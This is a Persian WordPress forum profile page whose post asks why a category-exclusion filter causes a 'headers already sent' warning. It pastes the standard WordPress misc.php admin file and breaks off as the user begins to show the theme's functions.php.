hassannak

عضو سایت
  • تعداد ارسال ها

    149
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

62 معمولی

1 دنبال کننده

درباره hassannak

  • درجه
    کاربر معمولی
  • تاریخ تولد 23/09/91

اطلاعات تماس

  • Yahoo
    hassannak@yahoo.com

اطلاعات شخصی

  • جنسیت
    مرد
  • موقعیت
    بلندای بام ایران زمین
  • علاقمندی ها
    برنامه نویسی
  • آشنایی با وردپرس
    مبتدی
  • سطح برنامه نویسی
    مبتدی
  • آشنایی با طراحی
    مبتدی

آخرین بازدید کنندگان نمایه

706 بازدید کننده نمایه
  1. با سلام مین میخواستم در سایتم یکی از دسته های خاص در صحفه اصلی نمایش داده نشه و این کد را گذاشتم <?php // Hide contents of a specific batch in Home function exclude_category_home( $query ) { if ( $query->is_home ) { $query->set( 'cat', '-7,-1' ); } return $query; } add_filter( 'pre_get_posts', 'exclude_category_home' ); ?> ولی نمیدونم چرا هنگام وارد کردن ای دی دسته وردپرس این خطا را میده Warning: Cannot modify header information - headers already sent by (output started at /mp3old.ir/wp-content/themes/Novindownload1/functions.php:18) in /home/bobocom/mp3old.ir/wp-admin/includes/misc.php on line 1116 این فایل mise.php <?php /** * Misc WordPress Administration API. * * @package WordPress * @subpackage Administration */ /** * Returns whether the server is running Apache with the mod_rewrite module loaded. * * @since 2.0.0 * * @return bool */ function got_mod_rewrite() { $got_rewrite = apache_mod_loaded('mod_rewrite', true); /** * Filters whether Apache and mod_rewrite are present. * * This filter was previously used to force URL rewriting for other servers, * like nginx. Use the {@see 'got_url_rewrite'} filter in got_url_rewrite() instead. * * @since 2.5.0 * * @see got_url_rewrite() * * @param bool $got_rewrite Whether Apache and mod_rewrite are present. */ return apply_filters( 'got_rewrite', $got_rewrite ); } /** * Returns whether the server supports URL rewriting. * * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx. * * @since 3.7.0 * * @global bool $is_nginx * * @return bool Whether the server supports URL rewriting. */ function got_url_rewrite() { $got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || iis7_supports_permalinks() ); /** * Filters whether URL rewriting is available. * * @since 3.7.0 * * @param bool $got_url_rewrite Whether URL rewriting is available. */ return apply_filters( 'got_url_rewrite', $got_url_rewrite ); } /** * Extracts strings from between the BEGIN and END markers in the .htaccess file. * * @since 1.5.0 * * @param string $filename * @param string $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ function extract_from_markers( $filename, $marker ) { $result = array (); if ( ! file_exists( $filename ) ) { return $result; } $markerdata = explode( "\n", implode( '', file( $filename ) ) ); $state = false; foreach ( $markerdata as $markerline ) { if ( false !== strpos( $markerline, '# END ' . $marker ) ) { $state = false; } if ( $state ) { $result[] = $markerline; } if ( false !== strpos( $markerline, '# BEGIN ' . $marker ) ) { $state = true; } } return $result; } /** * Inserts an array of strings into a file (.htaccess ), placing it between * BEGIN and END markers. * * Replaces existing marked info. Retains surrounding * data. Creates file if none exists. * * @since 1.5.0 * * @param string $filename Filename to alter. * @param string $marker The marker to alter. * @param array|string $insertion The new content to insert. * @return bool True on write success, false on failure. */ function insert_with_markers( $filename, $marker, $insertion ) { if ( ! file_exists( $filename ) ) { if ( ! is_writable( dirname( $filename ) ) ) { return false; } if ( ! touch( $filename ) ) { return false; } } elseif ( ! is_writeable( $filename ) ) { return false; } if ( ! is_array( $insertion ) ) { $insertion = explode( "\n", $insertion ); } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $fp = fopen( $filename, 'r+' ); if ( ! $fp ) { return false; } // Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired. flock( $fp, LOCK_EX ); $lines = array(); while ( ! feof( $fp ) ) { $lines[] = rtrim( fgets( $fp ), "\r\n" ); } // Split out the existing file into the preceding lines, and those that appear after the marker $pre_lines = $post_lines = $existing_lines = array(); $found_marker = $found_end_marker = false; foreach ( $lines as $line ) { if ( ! $found_marker && false !== strpos( $line, $start_marker ) ) { $found_marker = true; continue; } elseif ( ! $found_end_marker && false !== strpos( $line, $end_marker ) ) { $found_end_marker = true; continue; } if ( ! $found_marker ) { $pre_lines[] = $line; } elseif ( $found_marker && $found_end_marker ) { $post_lines[] = $line; } else { $existing_lines[] = $line; } } // Check to see if there was a change if ( $existing_lines === $insertion ) { flock( $fp, LOCK_UN ); fclose( $fp ); return true; } // Generate the new file data $new_file_data = implode( "\n", array_merge( $pre_lines, array( $start_marker ), $insertion, array( $end_marker ), $post_lines ) ); // Write to the start of the file, and truncate it to that length fseek( $fp, 0 ); $bytes = fwrite( $fp, $new_file_data ); if ( $bytes ) { ftruncate( $fp, ftell( $fp ) ); } fflush( $fp ); flock( $fp, LOCK_UN ); fclose( $fp ); return (bool) $bytes; } /** * Updates the htaccess file with the current rules if it is writable. * * Always writes to the file if it exists and is writable to ensure that we * blank out old rules. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite */ function save_mod_rewrite_rules() { if ( is_multisite() ) return; global $wp_rewrite; $home_path = get_home_path(); $htaccess_file = $home_path.'.htaccess'; /* * If the file doesn't already exist check for write access to the directory * and whether we have some rules. Else check for write access to the file. */ if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) { if ( got_mod_rewrite() ) { $rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() ); return insert_with_markers( $htaccess_file, 'WordPress', $rules ); } } return false; } /** * Updates the IIS web.config file with the current rules if it is writable. * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file. * * @since 2.8.0 * * @global WP_Rewrite $wp_rewrite * * @return bool True if web.config was updated successfully */ function iis7_save_url_rewrite_rules(){ if ( is_multisite() ) return; global $wp_rewrite; $home_path = get_home_path(); $web_config_file = $home_path . 'web.config'; // Using win_is_writable() instead of is_writable() because of a bug in Windows PHP if ( iis7_supports_permalinks() && ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) ) { $rule = $wp_rewrite->iis7_url_rewrite_rules(false, '', ''); if ( ! empty($rule) ) { return iis7_add_rewrite_rule($web_config_file, $rule); } else { return iis7_delete_rewrite_rule($web_config_file); } } return false; } /** * Update the "recently-edited" file for the plugin or theme editor. * * @since 1.5.0 * * @param string $file */ function update_recently_edited( $file ) { $oldfiles = (array ) get_option( 'recently_edited' ); if ( $oldfiles ) { $oldfiles = array_reverse( $oldfiles ); $oldfiles[] = $file; $oldfiles = array_reverse( $oldfiles ); $oldfiles = array_unique( $oldfiles ); if ( 5 < count( $oldfiles )) array_pop( $oldfiles ); } else { $oldfiles[] = $file; } update_option( 'recently_edited', $oldfiles ); } /** * Makes a tree structure for the Theme Editor's file list. * * @since 4.9.0 * @access private * * @param array $allowed_files List of theme file paths. * @return array Tree structure for listing theme files. */ function wp_make_theme_file_tree( $allowed_files ) { $tree_list = array(); foreach ( $allowed_files as $file_name => $absolute_filename ) { $list = explode( '/', $file_name ); $last_dir = &$tree_list; foreach ( $list as $dir ) { $last_dir =& $last_dir[ $dir ]; } $last_dir = $file_name; } return $tree_list; } /** * Outputs the formatted file list for the Theme Editor. * * @since 4.9.0 * @access private * * @param array|string $tree List of file/folder paths, or filename. * @param int $level The aria-level for the current iteration. * @param int $size The aria-setsize for the current iteration. * @param int $index The aria-posinset for the current iteration. */ function wp_print_theme_file_tree( $tree, $level = 2, $size = 1, $index = 1 ) { global $relative_file, $stylesheet; if ( is_array( $tree ) ) { $index = 0; $size = count( $tree ); foreach ( $tree as $label => $theme_file ) : $index++; if ( ! is_array( $theme_file ) ) { wp_print_theme_file_tree( $theme_file, $level, $index, $size ); continue; } ?> <li role="treeitem" aria-expanded="true" tabindex="-1" aria-level="<?php echo esc_attr( $level ); ?>" aria-setsize="<?php echo esc_attr( $size ); ?>" aria-posinset="<?php echo esc_attr( $index ); ?>"> <span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text"><?php _e( 'folder' ); ?></span><span aria-hidden="true" class="icon"></span></span> <ul role="group" class="tree-folder"><?php wp_print_theme_file_tree( $theme_file, $level + 1, $index, $size ); ?></ul> </li> <?php endforeach; } else { $filename = $tree; $url = add_query_arg( array( 'file' => rawurlencode( $tree ), 'theme' => rawurlencode( $stylesheet ), ), self_admin_url( 'theme-editor.php' ) ); ?> <li role="none" class="<?php echo esc_attr( $relative_file === $filename ? 'current-file' : '' ); ?>"> <a role="treeitem" tabindex="<?php echo esc_attr( $relative_file === $filename ? '0' : '-1' ); ?>" href="<?php echo esc_url( $url ); ?>" aria-level="<?php echo esc_attr( $level ); ?>" aria-setsize="<?php echo esc_attr( $size ); ?>" aria-posinset="<?php echo esc_attr( $index ); ?>"> <?php $file_description = esc_html( get_file_description( $filename ) ); if ( $file_description !== $filename && basename( $filename ) !== $file_description ) { $file_description .= '<br /><span class="nonessential">(' . esc_html( $filename ) . ')</span>'; } if ( $relative_file === $filename ) { echo '<span class="notice notice-info">' . $file_description . '</span>'; } else { echo $file_description; } ?> </a> </li> <?php } } /** * Makes a tree structure for the Plugin Editor's file list. * * @since 4.9.0 * @access private * * @param string $plugin_editable_files List of plugin file paths. * @return array Tree structure for listing plugin files. */ function wp_make_plugin_file_tree( $plugin_editable_files ) { $tree_list = array(); foreach ( $plugin_editable_files as $plugin_file ) { $list = explode( '/', preg_replace( '#^.+?/#', '', $plugin_file ) ); $last_dir = &$tree_list; foreach ( $list as $dir ) { $last_dir =& $last_dir[ $dir ]; } $last_dir = $plugin_file; } return $tree_list; } /** * Outputs the formatted file list for the Plugin Editor. * * @since 4.9.0 * @access private * * @param array|string $tree List of file/folder paths, or filename. * @param string $label Name of file or folder to print. * @param int $level The aria-level for the current iteration. * @param int $size The aria-setsize for the current iteration. * @param int $index The aria-posinset for the current iteration. */ function wp_print_plugin_file_tree( $tree, $label = '', $level = 2, $size = 1, $index = 1 ) { global $file, $plugin; if ( is_array( $tree ) ) { $index = 0; $size = count( $tree ); foreach ( $tree as $label => $plugin_file ) : $index++; if ( ! is_array( $plugin_file ) ) { wp_print_plugin_file_tree( $plugin_file, $label, $level, $index, $size ); continue; } ?> <li role="treeitem" aria-expanded="true" tabindex="-1" aria-level="<?php echo esc_attr( $level ); ?>" aria-setsize="<?php echo esc_attr( $size ); ?>" aria-posinset="<?php echo esc_attr( $index ); ?>"> <span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text"><?php _e( 'folder' ); ?></span><span aria-hidden="true" class="icon"></span></span> <ul role="group" class="tree-folder"><?php wp_print_plugin_file_tree( $plugin_file, '', $level + 1, $index, $size ); ?></ul> </li> <?php endforeach; } else { $url = add_query_arg( array( 'file' => rawurlencode( $tree ), 'plugin' => rawurlencode( $plugin ), ), self_admin_url( 'plugin-editor.php' ) ); ?> <li role="none" class="<?php echo esc_attr( $file === $tree ? 'current-file' : '' ); ?>"> <a role="treeitem" tabindex="<?php echo esc_attr( $file === $tree ? '0' : '-1' ); ?>" href="<?php echo esc_url( $url ); ?>" aria-level="<?php echo esc_attr( $level ); ?>" aria-setsize="<?php echo esc_attr( $size ); ?>" aria-posinset="<?php echo esc_attr( $index ); ?>"> <?php if ( $file === $tree ) { echo '<span class="notice notice-info">' . esc_html( $label ) . '</span>'; } else { echo esc_html( $label ); } ?> </a> </li> <?php } } /** * Flushes rewrite rules if siteurl, home or page_on_front changed. * * @since 2.1.0 * * @param string $old_value * @param string $value */ function update_home_siteurl( $old_value, $value ) { if ( wp_installing() ) return; if ( is_multisite() && ms_is_switched() ) { delete_option( 'rewrite_rules' ); } else { flush_rewrite_rules(); } } /** * Resets global variables based on $_GET and $_POST * * This function resets global variables based on the names passed * in the $vars array to the value of $_POST[$var] or $_GET[$var] or '' * if neither is defined. * * @since 2.0.0 * * @param array $vars An array of globals to reset. */ function wp_reset_vars( $vars ) { foreach ( $vars as $var ) { if ( empty( $_POST[ $var ] ) ) { if ( empty( $_GET[ $var ] ) ) { $GLOBALS[ $var ] = ''; } else { $GLOBALS[ $var ] = $_GET[ $var ]; } } else { $GLOBALS[ $var ] = $_POST[ $var ]; } } } /** * Displays the given administration message. * * @since 2.1.0 * * @param string|WP_Error $message */ function show_message($message) { if ( is_wp_error($message) ){ if ( $message->get_error_data() && is_string( $message->get_error_data() ) ) $message = $message->get_error_message() . ': ' . $message->get_error_data(); else $message = $message->get_error_message(); } echo "<p>$message</p>\n"; wp_ob_end_flush_all(); flush(); } /** * @since 2.8.0 * * @param string $content * @return array */ function wp_doc_link_parse( $content ) { if ( !is_string( $content ) || empty( $content ) ) return array(); if ( !function_exists('token_get_all') ) return array(); $tokens = token_get_all( $content ); $count = count( $tokens ); $functions = array(); $ignore_functions = array(); for ( $t = 0; $t < $count - 2; $t++ ) { if ( ! is_array( $tokens[ $t ] ) ) { continue; } if ( T_STRING == $tokens[ $t ][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) { // If it's a function or class defined locally, there's not going to be any docs available if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) { $ignore_functions[] = $tokens[$t][1]; } // Add this to our stack of unique references $functions[] = $tokens[$t][1]; } } $functions = array_unique( $functions ); sort( $functions ); /** * Filters the list of functions and classes to be ignored from the documentation lookup. * * @since 2.8.0 * * @param array $ignore_functions Functions and classes to be ignored. */ $ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions ); $ignore_functions = array_unique( $ignore_functions ); $out = array(); foreach ( $functions as $function ) { if ( in_array( $function, $ignore_functions ) ) continue; $out[] = $function; } return $out; } /** * Saves option for number of rows when listing posts, pages, comments, etc. * * @since 2.8.0 */ function set_screen_options() { if ( isset($_POST['wp_screen_options']) && is_array($_POST['wp_screen_options']) ) { check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' ); if ( !$user = wp_get_current_user() ) return; $option = $_POST['wp_screen_options']['option']; $value = $_POST['wp_screen_options']['value']; if ( $option != sanitize_key( $option ) ) return; $map_option = $option; $type = str_replace('edit_', '', $map_option); $type = str_replace('_per_page', '', $type); if ( in_array( $type, get_taxonomies() ) ) $map_option = 'edit_tags_per_page'; elseif ( in_array( $type, get_post_types() ) ) $map_option = 'edit_per_page'; else $option = str_replace('-', '_', $option); switch ( $map_option ) { case 'edit_per_page': case 'users_per_page': case 'edit_comments_per_page': case 'upload_per_page': case 'edit_tags_per_page': case 'plugins_per_page': // Network admin case 'sites_network_per_page': case 'users_network_per_page': case 'site_users_network_per_page': case 'plugins_network_per_page': case 'themes_network_per_page': case 'site_themes_network_per_page': $value = (int) $value; if ( $value < 1 || $value > 999 ) return; break; default: /** * Filters a screen option value before it is set. * * The filter can also be used to modify non-standard [items]_per_page * settings. See the parent function for a full list of standard options. * * Returning false to the filter will skip saving the current option. * * @since 2.8.0 * * @see set_screen_options() * * @param bool|int $value Screen option value. Default false to skip. * @param string $option The option name. * @param int $value The number of rows to use. */ $value = apply_filters( 'set-screen-option', false, $option, $value ); if ( false === $value ) return; break; } update_user_meta($user->ID, $option, $value); $url = remove_query_arg( array( 'pagenum', 'apage', 'paged' ), wp_get_referer() ); if ( isset( $_POST['mode'] ) ) { $url = add_query_arg( array( 'mode' => $_POST['mode'] ), $url ); } wp_safe_redirect( $url ); exit; } } /** * Check if rewrite rule for WordPress already exists in the IIS 7+ configuration file * * @since 2.8.0 * * @return bool * @param string $filename The file path to the configuration file */ function iis7_rewrite_rule_exists($filename) { if ( ! file_exists($filename) ) return false; if ( ! class_exists( 'DOMDocument', false ) ) { return false; } $doc = new DOMDocument(); if ( $doc->load($filename) === false ) return false; $xpath = new DOMXPath($doc); $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]'); if ( $rules->length == 0 ) return false; else return true; } /** * Delete WordPress rewrite rule from web.config file if it exists there * * @since 2.8.0 * * @param string $filename Name of the configuration file * @return bool */ function iis7_delete_rewrite_rule($filename) { // If configuration file does not exist then rules also do not exist so there is nothing to delete if ( ! file_exists($filename) ) return true; if ( ! class_exists( 'DOMDocument', false ) ) { return false; } $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc -> load($filename) === false ) return false; $xpath = new DOMXPath($doc); $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]'); if ( $rules->length > 0 ) { $child = $rules->item(0); $parent = $child->parentNode; $parent->removeChild($child); $doc->formatOutput = true; saveDomDocument($doc, $filename); } return true; } /** * Add WordPress rewrite rule to the IIS 7+ configuration file. * * @since 2.8.0 * * @param string $filename The file path to the configuration file * @param string $rewrite_rule The XML fragment with URL Rewrite rule * @return bool */ function iis7_add_rewrite_rule($filename, $rewrite_rule) { if ( ! class_exists( 'DOMDocument', false ) ) { return false; } // If configuration file does not exist then we create one. if ( ! file_exists($filename) ) { $fp = fopen( $filename, 'w'); fwrite($fp, '<configuration/>'); fclose($fp); } $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc->load($filename) === false ) return false; $xpath = new DOMXPath($doc); // First check if the rule already exists as in that case there is no need to re-add it $wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]'); if ( $wordpress_rules->length > 0 ) return true; // Check the XPath to the rewrite rule and create XML nodes if they do not exist $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules'); if ( $xmlnodes->length > 0 ) { $rules_node = $xmlnodes->item(0); } else { $rules_node = $doc->createElement('rules'); $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite'); if ( $xmlnodes->length > 0 ) { $rewrite_node = $xmlnodes->item(0); $rewrite_node->appendChild($rules_node); } else { $rewrite_node = $doc->createElement('rewrite'); $rewrite_node->appendChild($rules_node); $xmlnodes = $xpath->query('/configuration/system.webServer'); if ( $xmlnodes->length > 0 ) { $system_webServer_node = $xmlnodes->item(0); $system_webServer_node->appendChild($rewrite_node); } else { $system_webServer_node = $doc->createElement('system.webServer'); $system_webServer_node->appendChild($rewrite_node); $xmlnodes = $xpath->query('/configuration'); if ( $xmlnodes->length > 0 ) { $config_node = $xmlnodes->item(0); $config_node->appendChild($system_webServer_node); } else { $config_node = $doc->createElement('configuration'); $doc->appendChild($config_node); $config_node->appendChild($system_webServer_node); } } } } $rule_fragment = $doc->createDocumentFragment(); $rule_fragment->appendXML($rewrite_rule); $rules_node->appendChild($rule_fragment); $doc->encoding = "UTF-8"; $doc->formatOutput = true; saveDomDocument($doc, $filename); return true; } /** * Saves the XML document into a file * * @since 2.8.0 * * @param DOMDocument $doc * @param string $filename */ function saveDomDocument($doc, $filename) { $config = $doc->saveXML(); $config = preg_replace("/([^\r])\n/", "$1\r\n", $config); $fp = fopen($filename, 'w'); fwrite($fp, $config); fclose($fp); } /** * Display the default admin color scheme picker (Used in user-edit.php) * * @since 3.0.0 * * @global array $_wp_admin_css_colors * * @param int $user_id User ID. */ function admin_color_scheme_picker( $user_id ) { global $_wp_admin_css_colors; ksort( $_wp_admin_css_colors ); if ( isset( $_wp_admin_css_colors['fresh'] ) ) { // Set Default ('fresh') and Light should go first. $_wp_admin_css_colors = array_filter( array_merge( array( 'fresh' => '', 'light' => '' ), $_wp_admin_css_colors ) ); } $current_color = get_user_option( 'admin_color', $user_id ); if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) { $current_color = 'fresh'; } ?> <fieldset id="color-picker" class="scheme-list"> <legend class="screen-reader-text"><span><?php _e( 'Admin Color Scheme' ); ?></span></legend> <?php wp_nonce_field( 'save-color-scheme', 'color-nonce', false ); foreach ( $_wp_admin_css_colors as $color => $color_info ) : ?> <div class="color-option <?php echo ( $color == $current_color ) ? 'selected' : ''; ?>"> <input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> /> <input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" /> <input type="hidden" class="icon_colors" value="<?php echo esc_attr( wp_json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" /> <label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label> <table class="color-palette"> <tr> <?php foreach ( $color_info->colors as $html_color ) { ?> <td style="background-color: <?php echo esc_attr( $html_color ); ?>">&nbsp;</td> <?php } ?> </tr> </table> </div> <?php endforeach; ?> </fieldset> <?php } /** * * @global array $_wp_admin_css_colors */ function wp_color_scheme_settings() { global $_wp_admin_css_colors; $color_scheme = get_user_option( 'admin_color' ); // It's possible to have a color scheme set that is no longer registered. if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) { $color_scheme = 'fresh'; } if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) { $icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors; } elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) { $icon_colors = $_wp_admin_css_colors['fresh']->icon_colors; } else { // Fall back to the default set of icon colors if the default scheme is missing. $icon_colors = array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' ); } echo '<script type="text/javascript">var _wpColorScheme = ' . wp_json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n"; } /** * @since 3.3.0 */ function _ipad_meta() { if ( wp_is_mobile() ) { ?> <meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=1"> <?php } } /** * Check lock status for posts displayed on the Posts screen * * @since 3.6.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. * @return array The Heartbeat response. */ function wp_check_locked_posts( $response, $data, $screen_id ) { $checked = array(); if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) { foreach ( $data['wp-check-locked-posts'] as $key ) { if ( ! $post_id = absint( substr( $key, 5 ) ) ) continue; if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) && current_user_can( 'edit_post', $post_id ) ) { $send = array( 'text' => sprintf( __( '%s is currently editing' ), $user->display_name ) ); if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) ) $send['avatar_src'] = $matches[1]; $checked[$key] = $send; } } } if ( ! empty( $checked ) ) $response['wp-check-locked-posts'] = $checked; return $response; } /** * Check lock status on the New/Edit Post screen and refresh the lock * * @since 3.6.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. * @return array The Heartbeat response. */ function wp_refresh_post_lock( $response, $data, $screen_id ) { if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) { $received = $data['wp-refresh-post-lock']; $send = array(); if ( ! $post_id = absint( $received['post_id'] ) ) return $response; if ( ! current_user_can('edit_post', $post_id) ) return $response; if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) ) { $error = array( 'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name ) ); if ( $avatar = get_avatar( $user->ID, 64 ) ) { if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) $error['avatar_src'] = $matches[1]; } $send['lock_error'] = $error; } else { if ( $new_lock = wp_set_post_lock( $post_id ) ) $send['new_lock'] = implode( ':', $new_lock ); } $response['wp-refresh-post-lock'] = $send; } return $response; } /** * Check nonce expiration on the New/Edit Post screen and refresh if needed * * @since 3.6.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. * @return array The Heartbeat response. */ function wp_refresh_post_nonces( $response, $data, $screen_id ) { if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) { $received = $data['wp-refresh-post-nonces']; $response['wp-refresh-post-nonces'] = array( 'check' => 1 ); if ( ! $post_id = absint( $received['post_id'] ) ) { return $response; } if ( ! current_user_can( 'edit_post', $post_id ) ) { return $response; } $response['wp-refresh-post-nonces'] = array( 'replace' => array( 'getpermalinknonce' => wp_create_nonce('getpermalink'), 'samplepermalinknonce' => wp_create_nonce('samplepermalink'), 'closedpostboxesnonce' => wp_create_nonce('closedpostboxes'), '_ajax_linking_nonce' => wp_create_nonce( 'internal-linking' ), '_wpnonce' => wp_create_nonce( 'update-post_' . $post_id ), ), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ); } return $response; } /** * Disable suspension of Heartbeat on the Add/Edit Post screens. * * @since 3.8.0 * * @global string $pagenow * * @param array $settings An array of Heartbeat settings. * @return array Filtered Heartbeat settings. */ function wp_heartbeat_set_suspension( $settings ) { global $pagenow; if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) { $settings['suspension'] = 'disable'; } return $settings; } /** * Autosave with heartbeat * * @since 3.9.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @return array The Heartbeat response. */ function heartbeat_autosave( $response, $data ) { if ( ! empty( $data['wp_autosave'] ) ) { $saved = wp_autosave( $data['wp_autosave'] ); if ( is_wp_error( $saved ) ) { $response['wp_autosave'] = array( 'success' => false, 'message' => $saved->get_error_message() ); } elseif ( empty( $saved ) ) { $response['wp_autosave'] = array( 'success' => false, 'message' => __( 'Error while saving.' ) ); } else { /* translators: draft saved date format, see https://secure.php.net/date */ $draft_saved_date_format = __( 'g:i:s a' ); /* translators: %s: date and time */ $response['wp_autosave'] = array( 'success' => true, 'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ) ); } } return $response; } /** * Remove single-use URL parameters and create canonical link based on new URL. * * Remove specific query string parameters from a URL, create the canonical link, * put it in the admin header, and change the current URL to match. * * @since 4.2.0 */ function wp_admin_canonical_url() { $removable_query_args = wp_removable_query_args(); if ( empty( $removable_query_args ) ) { return; } // Ensure we're using an absolute URL. $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $filtered_url = remove_query_arg( $removable_query_args, $current_url ); ?> <link id="wp-admin-canonical" rel="canonical" href="<?php echo esc_url( $filtered_url ); ?>" /> <script> if ( window.history.replaceState ) { window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash ); } </script> <?php } /** * Send a referrer policy header so referrers are not sent externally from administration screens. * * @since 4.9.0 */ function wp_admin_headers() { $policy = 'strict-origin-when-cross-origin'; /** * Filters the admin referrer policy header value. * * @since 4.9.0 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'. * * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy * * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'. */ $policy = apply_filters( 'admin_referrer_policy', $policy ); header( sprintf( 'Referrer-Policy: %s', $policy ) ); } /** * Outputs JS that reloads the page if the user navigated to it with the Back or Forward button. * * Used on the Edit Post and Add New Post screens. Needed to ensure the page is not loaded from browser cache, * so the post title and editor content are the last saved versions. Ideally this script should run first in the head. * * @since 4.6.0 */ function wp_page_reload_on_back_button_js() { ?> <script> if ( typeof performance !== 'undefined' && performance.navigation && performance.navigation.type === 2 ) { document.location.reload( true ); } </script> <?php } /** * Send a confirmation request email when a change of site admin email address is attempted. * * The new site admin address will not become active until confirmed. * * @since 3.0.0 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific. * * @param string $old_value The old site admin email address. * @param string $value The proposed new site admin email address. */ function update_option_new_admin_email( $old_value, $value ) { if ( $value == get_option( 'admin_email' ) || ! is_email( $value ) ) { return; } $hash = md5( $value . time() . mt_rand() ); $new_admin_email = array( 'hash' => $hash, 'newemail' => $value, ); update_option( 'adminhash', $new_admin_email ); $switched_locale = switch_to_locale( get_user_locale() ); /* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_text = __( 'Howdy ###USERNAME###, You recently requested to have the administration email address on your site changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filters the text of the email sent when a change of site admin email address is attempted. * * The following strings have a special meaning and will get replaced dynamically: * ###USERNAME### The current user's username. * ###ADMIN_URL### The link to click on to confirm the email change. * ###EMAIL### The proposed new site admin email address. * ###SITENAME### The name of the site. * ###SITEURL### The URL to the site. * * @since MU (3.0.0) * @since 4.9.0 This filter is no longer Multisite specific. * * @param string $email_text Text in the email. * @param array $new_admin_email { * Data relating to the new site admin email address. * * @type string $hash The secure hash used in the confirmation link URL. * @type string $newemail The proposed new site admin email address. * } */ $content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email ); $current_user = wp_get_current_user(); $content = str_replace( '###USERNAME###', $current_user->user_login, $content ); $content = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'options.php?adminhash=' . $hash ) ), $content ); $content = str_replace( '###EMAIL###', $value, $content ); $content = str_replace( '###SITENAME###', wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $content ); $content = str_replace( '###SITEURL###', home_url(), $content ); wp_mail( $value, sprintf( __( '[%s] New Admin Email Address' ), wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) ), $content ); if ( $switched_locale ) { restore_previous_locale(); } } اینم فایل فانکشن قالب <?php 